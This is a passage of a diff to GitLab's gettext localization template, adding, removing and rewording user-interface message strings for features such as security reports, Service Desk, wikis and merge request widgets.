msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -27012,16 +27711,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -27087,15 +27798,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -27147,9 +27849,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -27159,9 +27858,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -27198,6 +27894,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -27207,7 +27906,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -27237,9 +27936,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -27294,9 +27999,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27390,6 +28092,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27528,19 +28233,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
+msgstr ""
+
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27642,6 +28371,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27696,7 +28428,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27708,6 +28440,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27729,6 +28464,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27938,9 +28676,15 @@ msgstr[3] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27959,6 +28703,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -28199,6 +28946,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28877,13 +29627,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28898,9 +29648,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28913,7 +29660,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -29003,9 +29750,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -29021,9 +29765,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -29081,9 +29822,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29713,6 +30451,13 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29874,9 +30619,6 @@ msgstr[3] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29949,6 +30691,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29976,6 +30721,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29988,6 +30736,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -30052,6 +30803,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -30112,6 +30866,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -30184,6 +30941,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -30235,6 +30995,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -30283,6 +31046,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -30310,6 +31079,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30343,9 +31115,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30589,6 +31358,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30727,7 +31499,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30811,6 +31583,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30820,6 +31595,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30832,6 +31610,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -31138,9 +31919,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -31237,9 +32015,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31542,6 +32317,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31584,9 +32368,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31614,7 +32395,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31719,6 +32500,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31918,10 +32702,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -32056,9 +32840,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -32113,6 +32894,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32515,7 +33302,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32524,6 +33311,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32620,6 +33410,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32818,9 +33611,6 @@ msgstr "Pomocí %{code_start}::%{code_end} vytvoÅ™te sadu %{link_start} Å¡títkÅ
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32872,6 +33662,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32917,7 +33710,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -33145,9 +33941,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -33214,7 +34007,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -33223,6 +34031,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33378,9 +34192,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33408,6 +34228,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33417,6 +34240,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33822,15 +34648,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -34005,6 +34846,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -34105,9 +34949,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -34180,34 +35021,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Page title"
+msgstr ""
+
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -34219,9 +35075,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -34234,9 +35087,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -34297,6 +35147,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34453,6 +35306,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34594,6 +35453,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34678,9 +35540,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34717,12 +35576,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34756,7 +35609,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34771,9 +35624,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34957,12 +35807,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -35083,6 +35939,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -35176,7 +36035,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -35285,6 +36144,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35589,6 +36451,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35783,6 +36654,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35955,7 +36829,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35992,13 +36866,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -36112,9 +36983,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -36265,18 +37133,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -36307,9 +37169,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36376,15 +37235,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36672,9 +37522,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36720,6 +37567,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/cy_GB/gitlab.po b/locale/cy_GB/gitlab.po
index b01e2965940..a35b53b3f37 100644
